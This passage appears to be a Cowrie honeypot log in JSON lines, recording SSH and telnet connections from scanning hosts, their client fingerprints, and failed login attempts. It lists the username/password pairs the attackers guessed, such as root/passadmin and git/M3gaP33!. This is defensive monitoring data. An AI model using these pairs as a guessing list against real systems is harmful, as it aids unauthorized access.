{"eventid":"cowrie.session.closed","duration":30.79836940765381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:24.165425Z","src_ip":"195.3.223.94","session":"7a2606a9d202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":55656,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf15ffc83e93","protocol":"ssh","message":"New connection: 103.215.80.173:55656 (159.203.135.109:22) [session: bf15ffc83e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:28.228324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:28.278909Z","src_ip":"103.215.80.173","session":"bf15ffc83e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:28.482513Z","src_ip":"103.215.80.173","session":"bf15ffc83e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin","message":"login attempt [root/passadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:29.303272Z","src_ip":"103.215.80.173","session":"bf15ffc83e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:30.512776Z","src_ip":"103.215.80.173","session":"bf15ffc83e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.365460872650146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:33.904000Z","src_ip":"45.248.78.71","session":"b7a922cc1ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50452,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bcf80526a35","protocol":"ssh","message":"New connection: 159.203.92.129:50452 (159.203.135.109:22) [session: 4bcf80526a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:41.709707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:41.715302Z","src_ip":"159.203.92.129","session":"4bcf80526a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:41.720261Z","src_ip":"159.203.92.129","session":"4bcf80526a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias111","message":"login attempt [alias/alias111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:41.733108Z","src_ip":"159.203.92.129","session":"4bcf80526a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:42.739721Z","src_ip":"159.203.92.129","session":"4bcf80526a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.248.78.71","src_port":58928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d71c69038444","protocol":"telnet","message":"New connection: 45.248.78.71:58928 (159.203.135.109:23) [session: d71c69038444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:50.509188Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":44639,"dst_ip":"159.203.135.109","dst_port":22,"session":"5692b928db2c","protocol":"ssh","message":"New connection: 119.195.89.96:44639 (159.203.135.109:22) [session: 5692b928db2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:56.544580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:56.549185Z","src_ip":"119.195.89.96","session":"5692b928db2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:56.748444Z","src_ip":"119.195.89.96","session":"5692b928db2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass1234","message":"login attempt [ubuntu/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:57.563878Z","src_ip":"119.195.89.96","session":"5692b928db2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:58.762606Z","src_ip":"119.195.89.96","session":"5692b928db2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":33498,"dst_ip":"10.17.0.5","dst_port":22,"session":"667ee955bf7f","protocol":"ssh","message":"New connection: 171.244.143.209:33498 (10.17.0.5:22) [session: 667ee955bf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:10.612610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:10.617030Z","src_ip":"171.244.143.209","session":"667ee955bf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:10.862850Z","src_ip":"171.244.143.209","session":"667ee955bf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":42896,"dst_ip":"159.203.135.109","dst_port":22,"session":"21731489a535","protocol":"ssh","message":"New connection: 124.13.124.212:42896 (159.203.135.109:22) [session: 21731489a535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:10.885883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:10.890764Z","src_ip":"124.13.124.212","session":"21731489a535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:11.132236Z","src_ip":"124.13.124.212","session":"21731489a535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"M3gaP33!","message":"login attempt [git/M3gaP33!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:11.876425Z","src_ip":"171.244.143.209","session":"667ee955bf7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-psql","password":"123","message":"login attempt [gitlab-psql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:12.130745Z","src_ip":"124.13.124.212","session":"21731489a535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:13.122794Z","src_ip":"171.244.143.209","session":"667ee955bf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:13.374318Z","src_ip":"124.13.124.212","session":"21731489a535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.258878469467163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:21.767972Z","src_ip":"45.248.78.71","session":"d71c69038444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34608,"dst_ip":"159.203.135.109","dst_port":22,"session":"869c1b2defc3","protocol":"ssh","message":"New connection: 159.203.92.129:34608 (159.203.135.109:22) [session: 869c1b2defc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:26.783136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:26.788061Z","src_ip":"159.203.92.129","session":"869c1b2defc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:26.791513Z","src_ip":"159.203.92.129","session":"869c1b2defc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias123","message":"login attempt [alias/alias123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:26.803249Z","src_ip":"159.203.92.129","session":"869c1b2defc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:27.809786Z","src_ip":"159.203.92.129","session":"869c1b2defc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":50092,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0538a61e189","protocol":"ssh","message":"New connection: 119.195.89.96:50092 (159.203.135.109:22) [session: b0538a61e189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:51.334838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:51.338756Z","src_ip":"119.195.89.96","session":"b0538a61e189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:51.532592Z","src_ip":"119.195.89.96","session":"b0538a61e189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testroot","message":"login attempt [test/testroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:52.343109Z","src_ip":"119.195.89.96","session":"b0538a61e189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:19:53.539261Z","src_ip":"119.195.89.96","session":"b0538a61e189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":60412,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc993e97bb51","protocol":"ssh","message":"New connection: 124.13.124.212:60412 (159.203.135.109:22) [session: dc993e97bb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:06.175581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:06.188035Z","src_ip":"124.13.124.212","session":"dc993e97bb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 